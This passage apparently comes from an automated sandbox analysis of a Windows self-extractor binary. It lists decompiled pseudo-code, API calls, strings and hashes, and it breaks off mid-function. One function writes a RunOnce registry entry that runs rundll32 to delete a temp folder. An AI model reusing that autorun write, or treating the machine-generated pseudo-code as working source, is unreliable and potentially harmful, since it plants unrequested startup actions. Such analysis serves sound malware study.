0x011b44cb
0x011b44cd
0x011b44d3
0x011b44d4
0x011b4657
0x011b44da
0x011b44e5
0x011b44f4
0x011b4501
0x011b453e
0x011b4544
0x011b4544
0x011b4547
0x011b4547
0x011b4549
0x011b454a
0x011b454e
0x011b4554
0x011b4558
0x011b45a7
0x011b45e3
0x011b45e3
0x011b45e9
0x011b45ef
0x011b45f3
0x00000000
0x011b45f9
0x011b45ff
0x011b4602
0x011b4604
0x00000000
0x011b4604
0x011b45a9
0x011b45a9
0x011b45ab
0x011b45ab
0x011b45ae
0x011b45ae
0x011b45b0
0x011b45b1
0x011b45b7
0x011b45ba
0x011b45bf
0x011b45c5
0x011b45c9
0x00000000
0x011b45cf
0x011b45d9
0x00000000
0x011b45de
0x011b45c9
0x011b455a
0x011b455a
0x011b455c
0x011b455c
0x011b455f
0x011b455f
0x011b4561
0x011b4562
0x011b4566
0x011b4568
0x011b456b
0x011b456b
0x011b456d
0x011b456e
0x011b4577
0x011b457a
0x011b457f
0x011b4585
0x011b4589
0x00000000
0x011b458b
0x011b458b
0x011b459b
0x011b4609
0x011b460c
0x011b4619
0x011b462a
0x011b462a
0x011b461b
0x011b461c
0x011b4623
0x011b4628
0x00000000
0x00000000
0x011b4628
0x011b4642
0x011b4649
0x011b464b
0x011b4651
0x011b4651
0x011b4589
0x011b4503
0x011b450a
0x011b451b
0x011b451b
0x011b450c
0x011b450d
0x011b4514
0x011b4519
0x00000000
0x00000000
0x011b4519
0x011b4530
0x011b4536
0x011b4536
0x011b4536
0x011b4501
0x011b4666

APIs

LoadStringA.USER32(000004B1,?,00000200,00000000), ref: 011B44F4
MessageBoxA.USER32(?,?,gGhd,00010010), ref: 011B4530
LocalAlloc.KERNEL32(00000040,00000065), ref: 011B457F
LocalAlloc.KERNEL32(00000040,00000065), ref: 011B45BF
LocalAlloc.KERNEL32(00000040,00000002), ref: 011B45E9
MessageBeep.USER32(00000000), ref: 011B460C
MessageBoxA.USER32(?,00000000,gGhd,00000000), ref: 011B4642
LocalFree.KERNEL32(00000000), ref: 011B464B

Part of subcall function 011B67CB: GetVersionExA.KERNEL32(?,00000000,00000002), ref: 011B681A
Part of subcall function 011B67CB: GetSystemMetrics.USER32(0000004A), ref: 011B6853
Part of subcall function 011B67CB: RegOpenKeyExA.ADVAPI32(80000001,Control Panel\Desktop\ResourceLocale,00000000,00020019,?), ref: 011B6878
Part of subcall function 011B67CB: RegQueryValueExA.ADVAPI32(?,011B1140,00000000,?,?,0000000C), ref: 011B68A0
Part of subcall function 011B67CB: RegCloseKey.ADVAPI32(?), ref: 011B68AE

Strings

LoadString() Error. Could not load string resource., xrefs: 011B44C0
gGhd, xrefs: 011B4521, 011B4636

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Local$AllocMessage$BeepCloseFreeLoadMetricsOpenQueryStringSystemValueVersion
String ID: LoadString() Error. Could not load string resource.$gGhd
API String ID: 3244514340-1678652170
Opcode ID: 6585b73faa718a413f41b9e32b811bccad3b8d880af179045e1be7a09285191d
Instruction ID: af3655a5bb77a5094f82e8c5f1b3c4f4d935f8ef9349855ccce4ca1b25117e20
Opcode Fuzzy Hash: 6585b73faa718a413f41b9e32b811bccad3b8d880af179045e1be7a09285191d
Instruction Fuzzy Hash: B8514871900219AFDB399F28DCC8BEA7B79EF44304F0480A4ED5AA3642DB31DA45CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011B2770, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 113
registryCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E011B2770(CHAR* __ecx, char* _a4) {
				signed int _v8;
				char _v268;
				char _v269;
				CHAR* _v276;
				int _v280;
				void* _v284;
				int _v288;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t23;
				intOrPtr _t34;
				int _t45;
				int* _t50;
				CHAR* _t52;
				CHAR* _t61;
				char* _t62;
				int _t63;
				CHAR* _t64;
				signed int _t65;

				_t52 = __ecx;
				_t23 =  *0x11b8004; // 0x714bc98c
				_v8 = _t23 ^ _t65;
				_t62 = _a4;
				_t50 = 0;
				_t61 = __ecx;
				_v276 = _t62;
				 *((char*)(__ecx)) = 0;
				if( *_t62 != 0x23) {
					_t63 = 0x104;
					goto L14;
				} else {
					_t64 = _t62 + 1;
					_v269 = CharUpperA( *_t64);
					_v276 = CharNextA(CharNextA(_t64));
					_t63 = 0x104;
					_t34 = _v269;
					if(_t34 == 0x53) {
						L14:
						GetSystemDirectoryA(_t61, _t63);
						goto L15;
					} else {
						if(_t34 == 0x57) {
							GetWindowsDirectoryA(_t61, 0x104);
							goto L16;
						} else {
							_push(_t52);
							_v288 = 0x104;
							E011B17A1( &_v268, 0x104, _t52, "Software\\Microsoft\\Windows\\CurrentVersion\\App Paths");
							_t59 = 0x104;
							E011B6534( &_v268, 0x104, _v276);
							if(RegOpenKeyExA(0x80000002,  &_v268, 0, 0x20019,  &_v284) != 0) {
								L16:
								_t59 = _t63;
								E011B6534(_t61, _t63, _v276);
							} else {
								if(RegQueryValueExA(_v284, 0x11b1140, 0,  &_v280, _t61,  &_v288) == 0) {
									_t45 = _v280;
									if(_t45 != 2) {
										L9:
										if(_t45 == 1) {
											goto L10;
										}
									} else {
										if(ExpandEnvironmentStringsA(_t61,  &_v268, 0x104) == 0) {
											_t45 = _v280;
											goto L9;
										} else {
											_t59 = 0x104;
											E011B16A0(_t61, 0x104,  &_v268);
											L10:
											_t50 = 1;
										}
									}
								}
								RegCloseKey(_v284);
								L15:
								if(_t50 == 0) {
									goto L16;
								}
							}
						}
					}
				}
				return E011B6C80(1, _t50, _v8 ^ _t65, _t59, _t61, _t63);
			}

0x011b2770
0x011b277b
0x011b2782
0x011b2787
0x011b278a
0x011b278d
0x011b278f
0x011b2795
0x011b279a
0x011b28af
0x00000000
0x011b27a0
0x011b27a0
0x011b27ac
0x011b27bf
0x011b27c5
0x011b27ca
0x011b27d2
0x011b28b4
0x011b28b6
0x00000000
0x011b27d8
0x011b27da
0x011b28a7
0x00000000
0x011b27e0
0x011b27e0
0x011b27e9
0x011b27f5
0x011b2800
0x011b2808
0x011b282e
0x011b28c0
0x011b28c6
0x011b28ca
0x011b2834
0x011b2857
0x011b2859
0x011b2862
0x011b288f
0x011b2892
0x00000000
0x00000000
0x011b2864
0x011b2875
0x011b2889
0x00000000
0x011b2877
0x011b287d
0x011b2882
0x011b2894
0x011b2896
0x011b2896
0x011b2875
0x011b2862
0x011b289d
0x011b28bc
0x011b28be
0x00000000
0x00000000
0x011b28be
0x011b282e
0x011b27da
0x011b27d2
0x011b28e0

APIs

CharUpperA.USER32(714BC98C,00000000,00000000,00000000), ref: 011B27A5
CharNextA.USER32(0000054D), ref: 011B27B2
CharNextA.USER32(00000000), ref: 011B27B9
RegOpenKeyExA.ADVAPI32(80000002,?,00000000,00020019,?,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B2826
RegQueryValueExA.ADVAPI32(?,011B1140,00000000,?,-00000005,?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B284F
ExpandEnvironmentStringsA.KERNEL32(-00000005,?,00000104,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B286D
RegCloseKey.ADVAPI32(?,?,Software\Microsoft\Windows\CurrentVersion\App Paths), ref: 011B289D
GetWindowsDirectoryA.KERNEL32(-00000005,00000104), ref: 011B28A7
GetSystemDirectoryA.KERNEL32 ref: 011B28B6

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 011B27E1

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Char$DirectoryNext$CloseEnvironmentExpandOpenQueryStringsSystemUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 2659952014-2428544900
Opcode ID: 835153b804b74e81db6b9cf2a4557d2058c41f231324b75e7e6e4d2063a38f40
Instruction ID: d2e02b02da9c3d3ba69a857c517a301085ee15df0f9118743cbe57c30c9a786b
Opcode Fuzzy Hash: 835153b804b74e81db6b9cf2a4557d2058c41f231324b75e7e6e4d2063a38f40
Instruction Fuzzy Hash: 4D414171A00128ABDB2D9B64ACC5AEA7BBDEF55740F0000A9F655D3105DB749EC58B60

Uniqueness

Uniqueness Score: -1.00%

Function 011B226E, Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 87
registryCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E011B226E() {
				signed int _v8;
				char _v268;
				char _v836;
				void* _v840;
				int _v844;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				intOrPtr _t33;
				void* _t38;
				intOrPtr* _t42;
				void* _t45;
				void* _t47;
				void* _t49;
				signed int _t51;

				_t19 =  *0x11b8004; // 0x714bc98c
				_t20 = _t19 ^ _t51;
				_v8 = _t19 ^ _t51;
				if( *0x11b8530 != 0) {
					_push(_t49);
					if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0x2001f,  &_v840) == 0) {
						_push(_t38);
						_v844 = 0x238;
						if(RegQueryValueExA(_v840, ?str?, 0, 0,  &_v836,  &_v844) == 0) {
							_push(_t47);
							memset( &_v268, 0, 0x104);
							if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
								E011B6534( &_v268, 0x104, 0x11b1140);
							}
							_push("C:\Users\jones\AppData\Local\Temp\IXP000.TMP\");
							E011B173E( &_v836, 0x238, "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"",  &_v268);
							_t42 =  &_v836;
							_t45 = _t42 + 1;
							_pop(_t47);
							do {
								_t33 =  *_t42;
								_t42 = _t42 + 1;
							} while (_t33 != 0);
							RegSetValueExA(_v840, "wextract_cleanup0", 0, 1,  &_v836, _t42 - _t45 + 1);
						}
						_t20 = RegCloseKey(_v840);
						_pop(_t38);
					}
					_pop(_t49);
				}
				return E011B6C80(_t20, _t38, _v8 ^ _t51, _t45, _t47, _t49);
			}

0x011b2279
0x011b227e
0x011b2280
0x011b228a
0x011b2290
0x011b22b2
0x011b22b8
0x011b22cb
0x011b22e7
0x011b22ed
0x011b22fc
0x011b2314
0x011b2323
0x011b2323
0x011b2328
0x011b2341
0x011b2349
0x011b234f
0x011b2352
0x011b2353
0x011b2353
0x011b2355
0x011b2356
0x011b2375
0x011b2375
0x011b2381
0x011b2387
0x011b2387
0x011b2388
0x011b2388
0x011b2394

APIs

RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,0002001F,?,00000001), ref: 011B22AA
RegQueryValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000000,?,?,00000001), ref: 011B22DF
memset.MSVCRT ref: 011B22FC
GetSystemDirectoryA.KERNEL32 ref: 011B230C
RegSetValueExA.ADVAPI32(?,wextract_cleanup0,00000000,00000001,?,?,?,?,?,?,?,?,?), ref: 011B2375
RegCloseKey.ADVAPI32(?), ref: 011B2381

Strings

Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 011B22A0
wextract_cleanup0, xrefs: 011B2283, 011B22D4, 011B236A
C:\Users\user\AppData\Local\Temp\IXP000.TMP\, xrefs: 011B2328
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 011B2334

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Value$CloseDirectoryOpenQuerySystemmemset
String ID: C:\Users\user\AppData\Local\Temp\IXP000.TMP\$Software\Microsoft\Windows\CurrentVersion\RunOnce$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup0
API String ID: 3027380567-2036266374
Opcode ID: 7d0224b59a3f80d1353947806b846ee906fe73dd721ab3f72b70743e52940b5f
Instruction ID: 8e17db0950a5abf61f49d28d4fadcf7ebef233668b3587f6ea05565cf063ae1e
Opcode Fuzzy Hash: 7d0224b59a3f80d1353947806b846ee906fe73dd721ab3f72b70743e52940b5f
Instruction Fuzzy Hash: D631A771A042186BDB399B25ECC9FDA7B7CEF58744F0400A9F50DE6044D770AB89CB60

Uniqueness

Uniqueness Score: -1.00%

Function 011B30F0, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 70
windowCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E011B30F0(struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12) {
				void* _t8;
				void* _t11;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t33;
				struct HWND__* _t34;

				_t8 = _a8 - 0xf;
				if(_t8 == 0) {
					if( *0x11b8590 == 0) {
						SendDlgItemMessageA(_a4, 0x834, 0xb1, 0xffffffff, 0);
						 *0x11b8590 = 1;
					}
					L13:
					return 0;
				}
				_t11 = _t8 - 1;
				if(_t11 == 0) {
					L7:
					_push(0);
					L8:
					EndDialog(_a4, ??);
					L9:
					return 1;
				}
				_t15 = _t11 - 0x100;
				if(_t15 == 0) {
					_t16 = GetDesktopWindow();
					_t33 = _a4;
					E011B43AE(_t33, _t16);
					SetDlgItemTextA(_t33, 0x834,  *0x11b8d4c);
					SetWindowTextA(_t33, "gGhd");
					SetForegroundWindow(_t33);
					_t34 = GetDlgItem(_t33, 0x834);
					 *0x11b88b8 = GetWindowLongA(_t34, 0xfffffffc);
					SetWindowLongA(_t34, 0xfffffffc, E011B30B0);
					return 1;
				}
				if(_t15 != 1) {
					goto L13;
				}
				if(_a12 != 6) {
					if(_a12 != 7) {
						goto L9;
					}
					goto L7;
				}
				_push(1);
				goto L8;
			}

0x011b30f8
0x011b30fb
0x011b31a7
0x011b31ba
0x011b31c0
0x011b31c0
0x011b31ca
0x00000000
0x011b31ca
0x011b3101
0x011b3104
0x011b3126
0x011b3126
0x011b3128
0x011b312b
0x011b3131
0x00000000
0x011b3133
0x011b3106
0x011b310b
0x011b313b
0x011b3141
0x011b3148
0x011b315a
0x011b3166
0x011b316d
0x011b317b
0x011b318e
0x011b3193
0x00000000
0x011b319d
0x011b3110
0x00000000
0x00000000
0x011b311a
0x011b3124
0x00000000
0x00000000
0x00000000
0x011b3124
0x011b311c
0x00000000

APIs

EndDialog.USER32(?,00000000), ref: 011B312B
GetDesktopWindow.USER32 ref: 011B313B
SetDlgItemTextA.USER32(?,00000834), ref: 011B315A
SetWindowTextA.USER32(?,gGhd), ref: 011B3166
SetForegroundWindow.USER32(?), ref: 011B316D
GetDlgItem.USER32(?,00000834), ref: 011B3175
GetWindowLongA.USER32(00000000,000000FC), ref: 011B3180
SetWindowLongA.USER32(00000000,000000FC,011B30B0), ref: 011B3193
SendDlgItemMessageA.USER32(?,00000834,000000B1,000000FF,00000000), ref: 011B31BA

Strings

gGhd, xrefs: 011B3160

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: gGhd
API String ID: 3785188418-362532621
Opcode ID: 5553f01ec6965b76d4ba63ab7fa8cbe40cc94e217c4ab7ee77c9e9505c1b9730
Instruction ID: baa3c5ac91a6c2ebc5d480deb46a3acc64173ee7c071bdac9dd61d7a5f685fcf
Opcode Fuzzy Hash: 5553f01ec6965b76d4ba63ab7fa8cbe40cc94e217c4ab7ee77c9e9505c1b9730
Instruction Fuzzy Hash: 18119D31554221BBEB2D6E28EC8CBDA3ABCFF4A761F004220F935961C8D7759591C751

Uniqueness

Uniqueness Score: -1.00%

Function 011B18C1, Relevance: 16.6, APIs: 11, Instructions: 111
memoryCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E011B18C1(void* __edx, void* __esi) {
				signed int _v8;
				short _v12;
				struct _SID_IDENTIFIER_AUTHORITY _v16;
				char _v20;
				long _v24;
				void* _v28;
				void* _v32;
				void* __ebx;
				void* __edi;
				signed int _t23;
				long _t45;
				void* _t49;
				int _t50;
				void* _t52;
				signed int _t53;

				_t51 = __esi;
				_t49 = __edx;
				_t23 =  *0x11b8004; // 0x714bc98c
				_v8 = _t23 ^ _t53;
				_t25 =  *0x11b8128; // 0x2
				_t45 = 0;
				_v12 = 0x500;
				_t50 = 2;
				_v16.Value = 0;
				_v20 = 0;
				if(_t25 != _t50) {
					L20:
					return E011B6C80(_t25, _t45, _v8 ^ _t53, _t49, _t50, _t51);
				}
				if(E011B180E( &_v20) != 0) {
					_t25 = _v20;
					if(_v20 != 0) {
						 *0x11b8128 = 1;
					}
					goto L20;
				}
				if(OpenProcessToken(GetCurrentProcess(), 8,  &_v28) == 0) {
					goto L20;
				}
				if(GetTokenInformation(_v28, _t50, 0, 0,  &_v24) != 0 || GetLastError() != 0x7a) {
					L17:
					CloseHandle(_v28);
					_t25 = _v20;
					goto L20;
				} else {
					_push(__esi);
					_t52 = LocalAlloc(0, _v24);
					if(_t52 == 0) {
						L16:
						_pop(_t51);
						goto L17;
					}
					if(GetTokenInformation(_v28, _t50, _t52, _v24,  &_v24) == 0 || AllocateAndInitializeSid( &_v16, _t50, 0x20, 0x220, 0, 0, 0, 0, 0, 0,  &_v32) == 0) {
						L15:
						LocalFree(_t52);
						goto L16;
					} else {
						if( *_t52 <= 0) {
							L14:
							FreeSid(_v32);
							goto L15;
						}
						_t15 = _t52 + 4; // 0x4
						_t50 = _t15;
						while(EqualSid( *_t50, _v32) == 0) {
							_t45 = _t45 + 1;
							_t50 = _t50 + 8;
							if(_t45 <  *_t52) {
								continue;
							}
							goto L14;
						}
						 *0x11b8128 = 1;
						_v20 = 1;
						goto L14;
					}
				}
			}

0x011b18c1
0x011b18c1
0x011b18c9
0x011b18d0
0x011b18d3
0x011b18dc
0x011b18de
0x011b18e4
0x011b18e5
0x011b18e8
0x011b18ed
0x011b19e7
0x011b19f4
0x011b19f4
0x011b18fd
0x011b19d6
0x011b19db
0x011b19dd
0x011b19dd
0x00000000
0x011b19db
0x011b1918
0x00000000
0x00000000
0x011b1930
0x011b19c8
0x011b19cb
0x011b19d1
0x00000000
0x011b1945
0x011b1945
0x011b1950
0x011b1954
0x011b19c7
0x011b19c7
0x00000000
0x011b19c7
0x011b196a
0x011b19c0
0x011b19c1
0x00000000
0x011b198c
0x011b198e
0x011b19b7
0x011b19ba
0x00000000
0x011b19ba
0x011b1990
0x011b1990
0x011b1993
0x011b19a2
0x011b19a3
0x011b19a8
0x00000000
0x00000000
0x00000000
0x011b19aa
0x011b19af
0x011b19b4
0x00000000
0x011b19b4
0x011b196a

APIs

Part of subcall function 011B180E: LoadLibraryA.KERNEL32(advapi32.dll,00000002,?,00000000,?,?,?,011B18FB), ref: 011B183A
Part of subcall function 011B180E: GetProcAddress.KERNEL32(00000000,CheckTokenMembership), ref: 011B184C
Part of subcall function 011B180E: AllocateAndInitializeSid.ADVAPI32(011B18FB,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,?,011B18FB), ref: 011B1875
Part of subcall function 011B180E: FreeSid.ADVAPI32(?,?,?,?,011B18FB), ref: 011B18A3
Part of subcall function 011B180E: FreeLibrary.KERNEL32(00000000,?,?,?,011B18FB), ref: 011B18AA

GetCurrentProcess.KERNEL32(00000008,?,00000000,00000001), ref: 011B1909
OpenProcessToken.ADVAPI32(00000000), ref: 011B1910
GetTokenInformation.ADVAPI32(?,00000002,00000000,00000000,?), ref: 011B1928
GetLastError.KERNEL32 ref: 011B1936
LocalAlloc.KERNEL32(00000000,?,?), ref: 011B194A
GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?), ref: 011B1962
AllocateAndInitializeSid.ADVAPI32(?,00000002,00000020,00000220,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 011B1982
EqualSid.ADVAPI32(00000004,?), ref: 011B1998
FreeSid.ADVAPI32(?), ref: 011B19BA
LocalFree.KERNEL32(00000000), ref: 011B19C1
CloseHandle.KERNEL32(?), ref: 011B19CB

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 53c4c6304f9e4c38f38250a48d17001b97a548868a271004b90146687b500a25
Instruction ID: 8468a45c90c6ecffbd74b04e3e5e9adb53563a0cf90427545435ec37be423b90
Opcode Fuzzy Hash: 53c4c6304f9e4c38f38250a48d17001b97a548868a271004b90146687b500a25
Instruction Fuzzy Hash: 8D313D71A00249BFDB299FA9ECD8AEF7BBCFF48744F110429E651E2144E7309944CB61

Uniqueness

Uniqueness Score: -1.00%

Function 011B4669, Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E011B4669(CHAR* __ecx, void* __edx, intOrPtr _a4) {
				long _t4;
				void* _t11;
				CHAR* _t14;
				void* _t15;
				long _t16;

				_t14 = __ecx;
				_t11 = __edx;
				_t4 = SizeofResource(0, FindResourceA(0, __ecx, 0xa));
				_t16 = _t4;
				if(_t16 <= _a4 && _t11 != 0) {
					if(_t16 == 0) {
						L5:
						return 0;
					}
					_t15 = LockResource(LoadResource(0, FindResourceA(0, _t14, 0xa)));
					if(_t15 == 0) {
						goto L5;
					}
					__imp__memcpy_s(_t11, _a4, _t15, _t16);
					FreeResource(_t15);
					return _t16;
				}
				return _t4;
			}

0x011b4673
0x011b4675
0x011b4683
0x011b4689
0x011b468e
0x011b4696
0x011b46d3
0x00000000
0x011b46d3
0x011b46b3
0x011b46b7
0x00000000
0x00000000
0x011b46bf
0x011b46c9
0x00000000
0x011b46cf
0x011b46d9

APIs

FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B467A
SizeofResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B4683
FindResourceA.KERNEL32(00000000,TITLE,0000000A), ref: 011B469D
LoadResource.KERNEL32(00000000,00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46A6
LockResource.KERNEL32(00000000,?,011B2D11,0000007F,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46AD
memcpy_s.MSVCRT ref: 011B46BF
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000002,00000000), ref: 011B46C9

Strings

TITLE, xrefs: 011B4677, 011B469A
gGhd, xrefs: 011B46BE

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Resource$Find$FreeLoadLockSizeofmemcpy_s
String ID: TITLE$gGhd
API String ID: 3370778649-747117347
Opcode ID: 8fa224cafb4537b677f7539b601beca8e175e91767453b3f61487ee84ef34f8e
Instruction ID: fbf85a23eeac1378e58e97701506083f0c41c9ee3668a696b03494f1cb015296
Opcode Fuzzy Hash: 8fa224cafb4537b677f7539b601beca8e175e91767453b3f61487ee84ef34f8e
Instruction Fuzzy Hash: 55016232644310BBE32816A9BCCDFAB7E2DDF85BA2F044024FB5697545CA6188D08765

Uniqueness

Uniqueness Score: -1.00%

Function 011B3440, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 51
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E011B3440(struct HWND__* _a4, intOrPtr _a8, int _a12) {
				void* _t7;
				void* _t11;
				struct HWND__* _t12;
				int _t22;
				struct HWND__* _t24;

				_t7 = _a8 - 0x10;
				if(_t7 == 0) {
					EndDialog(_a4, 2);
					L11:
					return 1;
				}
				_t11 = _t7 - 0x100;
				if(_t11 == 0) {
					_t12 = GetDesktopWindow();
					_t24 = _a4;
					E011B43AE(_t24, _t12);
					SetWindowTextA(_t24, "gGhd");
					SetDlgItemTextA(_t24, 0x838,  *0x11b9404);
					SetForegroundWindow(_t24);
					goto L11;
				}
				if(_t11 == 1) {
					_t22 = _a12;
					if(_t22 < 6) {
						goto L11;
					}
					if(_t22 <= 7) {
						L8:
						EndDialog(_a4, _t22);
						return 1;
					}
					if(_t22 != 0x839) {
						goto L11;
					}
					 *0x11b91dc = 1;
					goto L8;
				}
				return 0;
			}

0x011b3449
0x011b344c
0x011b34c8
0x011b34ce
0x00000000
0x011b34d0
0x011b344e
0x011b3453
0x011b348a
0x011b3490
0x011b3497
0x011b34a2
0x011b34b4
0x011b34bb
0x00000000
0x011b34bb
0x011b3458
0x011b345e
0x011b3464
0x00000000
0x00000000
0x011b346c
0x011b347c
0x011b3480
0x00000000
0x011b3486
0x011b3474
0x00000000
0x00000000
0x011b3476
0x00000000
0x011b3476
0x00000000

APIs

EndDialog.USER32(?,?), ref: 011B3480
GetDesktopWindow.USER32 ref: 011B348A
SetWindowTextA.USER32(?,gGhd), ref: 011B34A2
SetDlgItemTextA.USER32(?,00000838), ref: 011B34B4
SetForegroundWindow.USER32(?), ref: 011B34BB
EndDialog.USER32(?,00000002), ref: 011B34C8

Strings

gGhd, xrefs: 011B349C

Memory Dump Source

Source File: 0000000E.00000002.784682624.00000000011B1000.00000020.00020000.sdmp, Offset: 011B0000, based on PE: true

Associated: 0000000E.00000002.784631371.00000000011B0000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.784862934.00000000011B8000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.784971350.00000000011BA000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.785008607.00000000011BC000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$DialogText$DesktopForegroundItem
String ID: gGhd
API String ID: 852535152-362532621
Opcode ID: 19a0ce1722af4dcdade40ffb3259d53ab360eb8ffd1ec2a70f666993bb3f16f1
Instruction ID: c3d06e3caf4ecefa22cf7275602aeb6acea1c309fe4c3a820072a6e252f2e5cf
Opcode Fuzzy Hash: 19a0ce1722af4dcdade40ffb3259d53ab360eb8ffd1ec2a70f666993bb3f16f1
Instruction Fuzzy Hash: 5401F139260024ABD76E1F28E9CC9ED3A54FF09351B004424FA7696584CB388AA1CB80

Uniqueness

Uniqueness Score: -1.00%

Function 011B2AA5, Relevance: 12.1, APIs: 8, Instructions: 117
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E011B2AA5(CHAR* __ecx, char* __edx, CHAR* _a4) {
				signed int _v8;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t16;
				int _t21;
				char _t32;
				intOrPtr _t34;
				char* _t38;
				char _t42;
				char* _t44;
				CHAR* _t52;
				intOrPtr* _t55;
				CHAR* _t59;
				void* _t62;
				CHAR* _t64;
				CHAR* _t65;
				signed int _t66;

				_t60 = __edx;
				_t16 =  *0x11b8004; // 0x714bc98c
				_t17 = _t16 ^ _t66;
				_v8 = _t16 ^ _t66;
				_t65 = _a4;
				_t44 = __edx;
				_t64 = __ecx;
				if( *((char*)(__ecx)) != 0) {
					GetModuleFileNameA( *0x11b9a3c,  &_v268, 0x104);
					while(1) {
						_t17 =  *_t64;
						if(_t17 == 0) {
							break;
						}
						_t21 = IsDBCSLeadByte(_t17);
						 *_t65 =  *_t64;
						if(_t21 != 0) {
							_t65[1] = _t64[1];
						}
						if( *_t64 != 0x23) {
							L19:
							_t65 = CharNextA(_t65);
						} else {
							_t64 = CharNextA(_t64);
							if(CharUpperA( *_t64) != 0x44) {
								if(CharUpperA( *_t64) != 0x45) {
									if( *_t64 == 0x23) {
										goto L19;
									}
								} else {
									E011B16A0(_t65, E011B17E8(_t44, _t65),  &_v268);
									_t52 = _t65;
									_t14 =  &(_t52[1]); // 0x2
									_t60 = _t14;
									do {
